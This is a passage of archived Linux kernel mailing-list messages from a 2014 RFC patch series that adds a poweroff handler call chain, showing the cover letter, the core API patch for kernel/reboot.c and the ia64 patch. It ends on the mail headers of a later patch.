More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 00/16] kernel: Add support for poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:40 -0700
Lines: 119
Approved: news@gmane.org
Message-ID: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100084 7103 80.91.229.3 (30 Sep 2014 18:01:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:24 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Heiko Stuebner <heiko@sntech.de>,
	Romain Perier <romain.perier@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Russell King <linux@arm.linux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 30 20:01:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XZ1jc-0006XD-V5
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Sep 2014 20:01:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752238AbaI3SBL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:11 -0400
Original-Received: from mail-pd0-f171.google.com ([209.85.192.171]:39143 "EHLO
	mail-pd0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751914AbaI3SBI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Sep 2014 14:01:08 -0400
Original-Received: by mail-pd0-f171.google.com with SMTP id ft15so3904119pdb.2
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id;
        bh=oi+m2S0CLgQPfP07XCEY/z99OwYBXdE6QMixGlAt21M=;
        b=oXChEz22HY8wzogz2X7XldDFDLF56P0s1Cma1OHoeCccYpVMl2KHD8vdc7LmHhPtWT
         fmqgLMZeqJnjbDwdBKo7X0IcH7m4MRNubh2kRz6jUHlMDjSbnA++xxfGIGxQ4drbQ8uK
         +O7EP7gPJqi0nJXzmDi6P8wHgNNQe2vdQt8HBdeWPc2NVxuq/6Hqo1K9+ZzUXG+6QXZW
         f5jCq1QUbXMe8rXDR4n1AR6g+0FVzgC20G9oewYHX6JeGsGClp/U/YrKtNthI2ilOW/s
         B73D5GrWH7kZITKb9Mdfavg5JBThumLrK8FhGm1t8muCvNkTCeyqVPn01yIrM3Goa+Pc
         OQng==
X-Received: by 10.70.53.35 with SMTP id y3mr62810451pdo.43.1412100067914;
        Tue, 30 Sep 2014 11:01:07 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id oq6sm15784198pdb.45.2014.09.30.11.01.06
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:07 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6037 gmane.linux.kernel:1798513 gmane.linux.power-management.general:50357 gmane.linux.ports.arm.kernel:361238 gmane.linux.ports.ia64:24426 gmane.linux.kernel.metag:267 gmane.linux.ports.mips.general:44055 gmane.linux.ports.sh.devel:39631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6037>

Various drivers implement architecture and/or device specific means to
remove power from the system.  For the most part, those drivers set the
global variable pm_power_off to point to a function within the driver.

This mechanism has a number of drawbacks.  Typically only one scheme
to remove power is supported (at least if pm_power_off is used).
At least in theory there can be multiple means remove power, some of
which may be less desirable.  For example, some mechanisms may only
power off the CPU or the CPU card, while another may power off the
entire system.  Others may really just execute a restart sequence
or drop into the ROM monitor.  Using pm_power_off can also be racy
if the function pointer is set from a driver built as module, as the
driver may be in the process of being unloaded when pm_power_off is
called.  If there are multiple poweroff handlers in the system, removing
a module with such a handler may inadvertently reset the pointer to
pm_power_off to NULL, leaving the system with no means to remove power.

Introduce a system poweroff handler call chain to solve the described
problems.  This call chain is expected to be executed from the
architecture specific machine_power_off() function.  Drivers providing
system poweroff functionality are expected to register with this call chain.
By using the priority field in the notifier block, callers can control
poweroff handler execution sequence and thus ensure that the poweroff
handler with the optimal capabilities to remove power for a given system
is called first.

The poweroff handler is introduced in multiple steps

1) Implement poweroff handler API.
   Patch 01/16.
2) Ensure that pm_power_off is only called from machine_restart.
   Patches 02/16 and 03/16.
3) Implement call to poweroff handler in architecture specific
   machine_restart code.
   Patches 03/16 to 13/16.
4) Convert all drivers to register with poweroff handler
   instead of setting pm_power_off directly.
   Patches 15/16 and 16/16 (examples).
   This can be done in two steps: First convert all drivers which can
   be built as modules, then convert the remaining drivers (possibly after
   unexporting pm_powr_off).
5) Unexport pm_power_off for all architectures,
   and drop it entirely for architectures where it is not really used.
6) [optional] Convert machine specific architecture code to register 
   with poweroff handler instead of setting pm_power_off directly,
   and remove pm_power_off entirely from the system.

Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Heiko Stuebner <heiko@sntech.de>
Cc: Romain Perier <romain.perier@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>

----------------------------------------------------------------
Guenter Roeck (16):
      kernel: Add support for poweroff handler call chain
      hwmon: (ab8500) Call kernel_power_off instead of pm_power_off
      parisc: support poweroff through poweroff handler call chain
      arm: support poweroff through poweroff handler call chain
      arm64: support poweroff through poweroff handler call chain
      avr32: support poweroff through poweroff handler call chain
      c6x: support poweroff through poweroff handler call chain
      ia64: support poweroff through poweroff handler call chain
      metag: support poweroff through poweroff handler call chain
      mips: support poweroff through poweroff handler call chain
      sh: support poweroff through poweroff handler call chain
      unicore32: support poweroff through poweroff handler call chain
      x86: support poweroff through poweroff handler call chain
      x86/xen: support poweroff through poweroff handler call chain
      power/reset: restart-poweroff: Register with kernel poweroff handler
      mfd: palmas: Register with kernel poweroff handler

 arch/arm/kernel/process.c              |  2 +
 arch/arm64/kernel/process.c            |  2 +
 arch/avr32/kernel/process.c            |  2 +
 arch/c6x/kernel/process.c              |  2 +
 arch/ia64/kernel/process.c             |  2 +
 arch/metag/kernel/process.c            |  2 +
 arch/mips/kernel/reset.c               |  2 +
 arch/parisc/kernel/process.c           |  7 ++-
 arch/sh/kernel/reboot.c                |  2 +
 arch/unicore32/kernel/process.c        |  2 +
 arch/x86/kernel/reboot.c               |  4 ++
 arch/x86/xen/enlighten.c               |  2 +
 drivers/hwmon/ab8500.c                 |  5 ++-
 drivers/mfd/palmas.c                   | 30 +++++++------
 drivers/parisc/power.c                 |  3 +-
 drivers/power/reset/restart-poweroff.c | 24 +++++-----
 include/linux/mfd/palmas.h             |  3 ++
 include/linux/reboot.h                 |  4 ++
 kernel/reboot.c                        | 81 ++++++++++++++++++++++++++++++++++
 19 files changed, 149 insertions(+), 32 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 01/16] kernel: Add support for poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:41 -0700
Lines: 174
Approved: news@gmane.org
Message-ID: <1412100056-15517-2-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100092 7215 80.91.229.3 (30 Sep 2014 18:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:32 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Heiko Stuebner <heiko@sntech.de>,
	Romain Perier <romain.perier@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Russell King <linux@arm.linux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec
To: linux-kernel@vger.kernel.org
Original-X-From: linux-pm-owner@vger.kernel.org Tue Sep 30 20:01:21 2014
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1XZ1jh-0007LV-4Q
	for gll-linux-pm2@plane.gmane.org; Tue, 30 Sep 2014 20:01:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753316AbaI3SBP (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:15 -0400
Original-Received: from mail-pa0-f43.google.com ([209.85.220.43]:62580 "EHLO
	mail-pa0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751996AbaI3SBL (ORCPT
	<rfc822;linux-pm@vger.kernel.org>); Tue, 30 Sep 2014 14:01:11 -0400
Original-Received: by mail-pa0-f43.google.com with SMTP id hz1so6811065pad.16
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=P3ylumAPta+x4hSnbQJwyvsYf0XpihcWxEVOkYE6MRw=;
        b=KZbNSMifUIIHD5T4ASd6h2FoNr+Aay/O6HlqCcXMyAsAWIWz259QvWnft6lgqzzmW4
         rWsV4AAgtLWzp1x4ydcBoy4nPIgKh4y0BYJ0enQnuE2NlnWIvd79eHViw+GnT4csni1X
         E4ZdvZqjmLI+OFTrmVn7dXHn/rdlGZsNgNvOby4JHpqVw3T4LOdYz26BvesxPovAENiS
         eTSZCDatkWnB5/V1FGxfGi1gDjFOU9C+xEHXzTxsj9DqgQjBBCpq3lff9D0kyGKvLOXE
         SIqxzSPco8t+GAEb92UeY7XnRhTZyh1P6dahB2y4Z6VMGkcg00esISuFTJIgRGVa+K6o
         euMQ==
X-Received: by 10.68.186.33 with SMTP id fh1mr71827569pbc.105.1412100070546;
        Tue, 30 Sep 2014 11:01:10 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id go1sm3990822pbd.77.2014.09.30.11.01.09
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:10 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:50358 gmane.linux.kernel:1798514 gmane.linux.ports.arm.kernel:361239 gmane.linux.ports.ia64:24427 gmane.linux.kernel.metag:268 gmane.linux.ports.mips.general:44056 gmane.linux.ports.parisc:6038 gmane.linux.ports.sh.devel:39632
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/50358>

Various drivers implement architecture and/or device specific means to
remove power from the system.  For the most part, those drivers set the
global variable pm_power_off to point to a function within the driver.

This mechanism has a number of drawbacks.  Typically only one scheme
to remove power is supported (at least if pm_power_off is used).
At least in theory there can be multiple means remove power, some of
which may be less desirable. For example, some mechanisms may only
power off the CPU or the CPU card, while another may power off the
entire system.  Others may really just execute a restart sequence
or drop into the ROM monitor. Using pm_power_off can also be racy
if the function pointer is set from a driver built as module, as the
driver may be in the process of being unloaded when pm_power_off is
called. If there are multiple poweroff handlers in the system, removing
a module with such a handler may inadvertently reset the pointer to
pm_power_off to NULL, leaving the system with no means to remove power.

Introduce a system poweroff handler call chain to solve the described
problems.  This call chain is expected to be executed from the
architecture specific machine_power_off() function.  Drivers providing
system poweroff functionality are expected to register with this call chain.
By using the priority field in the notifier block, callers can control
poweroff handler execution sequence and thus ensure that the poweroff
handler with the optimal capabilities to remove power for a given system
is called first.

Cc: Andrew Morton <akpm@linux-foundation.org>
cc: Heiko Stuebner <heiko@sntech.de>
Cc: Romain Perier <romain.perier@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 include/linux/reboot.h |  4 +++
 kernel/reboot.c        | 81 ++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 85 insertions(+)

diff --git a/include/linux/reboot.h b/include/linux/reboot.h
index 67fc8fc..b172951 100644
--- a/include/linux/reboot.h
+++ b/include/linux/reboot.h
@@ -38,6 +38,10 @@ extern int reboot_force;
 extern int register_reboot_notifier(struct notifier_block *);
 extern int unregister_reboot_notifier(struct notifier_block *);
 
+extern int register_poweroff_handler(struct notifier_block *);
+extern int unregister_poweroff_handler(struct notifier_block *);
+extern void do_kernel_poweroff(void);
+
 extern int register_restart_handler(struct notifier_block *);
 extern int unregister_restart_handler(struct notifier_block *);
 extern void do_kernel_restart(char *cmd);
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..bdfab65 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -106,6 +106,87 @@ EXPORT_SYMBOL(unregister_reboot_notifier);
 
 /*
  *	Notifier list for kernel code which wants to be called
+ *	to power off the system.
+ */
+static ATOMIC_NOTIFIER_HEAD(poweroff_handler_list);
+
+/**
+ *	register_poweroff_handler - Register function to be called to power off
+ *				    the system
+ *	@nb: Info about handler function to be called
+ *	@nb->priority:	Handler priority. Handlers should follow the
+ *			following guidelines for setting priorities.
+ *			0:	Poweroff handler of last resort,
+ *				with limited poweroff capabilities
+ *			128:	Default poweroff handler; use if no other
+ *				poweroff handler is expected to be available,
+ *				and/or if poweroff functionality is
+ *				sufficient to poweroff the entire system
+ *			255:	Highest priority poweroff handler, will
+ *				preempt all other poweroff handlers
+ *
+ *	Registers a function with code to be called to poweroff the
+ *	system.
+ *
+ *	Registered functions will be called from machine_power_off as last
+ *	step of the poweroff sequence (if the architecture specific
+ *	machine_power_off function calls do_kernel_poweroff - see below
+ *	for details).
+ *	Registered functions are expected to poweroff the system immediately.
+ *	If more than one function is registered, the poweroff handler priority
+ *	selects which function will be called first.
+ *
+ *	Poweroff handlers are expected to be registered from non-architecture
+ *	code, typically from drivers. A typical use case would be a system
+ *	where poweroff functionality is provided through a mfd driver. Multiple
+ *	poweroff handlers may exist; for example, one poweroff handler might
+ *	poweroff the entire system, while another only powers off the CPU.
+ *	In such cases, the poweroff handler which only powers off part of the
+ *	hardware is expected to register with low priority to ensure that
+ *	it only runs if no other means to poweroff the system is available.
+ *
+ *	Currently always returns zero, as atomic_notifier_chain_register()
+ *	always returns zero.
+ */
+int register_poweroff_handler(struct notifier_block *nb)
+{
+	return atomic_notifier_chain_register(&poweroff_handler_list, nb);
+}
+EXPORT_SYMBOL(register_poweroff_handler);
+
+/**
+ *	unregister_poweroff_handler - Unregister previously registered
+ *				      poweroff handler
+ *	@nb: Hook to be unregistered
+ *
+ *	Unregisters a previously registered poweroff handler function.
+ *
+ *	Returns zero on success, or %-ENOENT on failure.
+ */
+int unregister_poweroff_handler(struct notifier_block *nb)
+{
+	return atomic_notifier_chain_unregister(&poweroff_handler_list, nb);
+}
+EXPORT_SYMBOL(unregister_poweroff_handler);
+
+/**
+ *	do_kernel_poweroff - Execute kernel poweroff handler call chain
+ *
+ *	Calls functions registered with register_poweroff_handler.
+ *
+ *	Expected to be called from machine_poweroff as last step of the poweroff
+ *	sequence.
+ *
+ *	Powers off the system immediately if a poweroff handler function
+ *	has been registered. Otherwise does nothing.
+ */
+void do_kernel_poweroff(void)
+{
+	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
+}
+
+/*
+ *	Notifier list for kernel code which wants to be called
  *	to restart the system.
  */
 static ATOMIC_NOTIFIER_HEAD(restart_handler_list);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 08/16] ia64: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:48 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1412100056-15517-9-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100107 7393 80.91.229.3 (30 Sep 2014 18:01:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:47 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 30 20:01:42 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZ1k5-0007Vs-Im
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Sep 2014 20:01:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753652AbaI3SBc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:32 -0400
Original-Received: from mail-pd0-f176.google.com ([209.85.192.176]:55223 "EHLO
	mail-pd0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753496AbaI3SB2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 30 Sep 2014 14:01:28 -0400
Original-Received: by mail-pd0-f176.google.com with SMTP id fp1so6623449pdb.7
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=G0j+0t6HwoK+I4qL8X6NYSytTW0aLPSKNWyNS9RwGws=;
        b=ar0WknupWuj7t5RxWGK2ZAcgfwJZYO35npLS7rTzQKmgUoCwJW5vikVpOE9lCLrWv+
         Hqqd8c4qUNjJWLMJryad8L7GFwvnxjb+P30NOlyCUxq4DC6w4WRrFL39ao2QCHB2qXR8
         EQbFVP4QnbblnKjsy5byCrGE16KeCEWPg1j++xzHkdlW9AVrep1BTfTjqN1dMnikIY2V
         LWmmvQdWWLlG32mvq/bqIQmONjiEKseZC2IgSA9MoAqBAS7ZGBpwoJ3H+ZwZgEGGh8tF
         rfb6IijCBqJLmxUiEuiD/e6t7irOIwKY9tGDUTymCdcO4zQ+IufVl4lIIHylqlVsQd+G
         9mvQ==
X-Received: by 10.70.9.227 with SMTP id d3mr95078159pdb.16.1412100088167;
        Tue, 30 Sep 2014 11:01:28 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id fn4sm15864289pab.39.2014.09.30.11.01.27
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:27 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1798515 gmane.linux.power-management.general:50359 gmane.linux.ports.arm.kernel:361240 gmane.linux.ports.ia64:24428 gmane.linux.kernel.metag:269 gmane.linux.ports.mips.general:44057 gmane.linux.ports.parisc:6039 gmane.linux.ports.sh.devel:39633
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798515>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/ia64/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index deed6fa..489b0d8 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -677,6 +677,8 @@ machine_power_off (void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 	machine_halt();
 }
 
-- 
1.9.1


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 12/16] unicore32: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:52 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1412100056-15517-13-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100113 7467 80.91.229.3 (30 Sep 2014 18:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:53 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-pm-owner@vger.kernel.org Tue Sep 30 20:01:44 2014
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1XZ1k7-0007Vs-6f
	for gll-linux-pm2@plane.gmane.org; Tue, 30 Sep 2014 20:01:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753761AbaI3SBl (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:41 -0400
Original-Received: from mail-pa0-f48.google.com ([209.85.220.48]:51899 "EHLO
	mail-pa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752790AbaI3SBi (ORCPT
	<rfc822;linux-pm@vger.kernel.org>); Tue, 30 Sep 2014 14:01:38 -0400
Original-Received: by mail-pa0-f48.google.com with SMTP id eu11so2214491pac.21
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:38 -0700 (PDT)
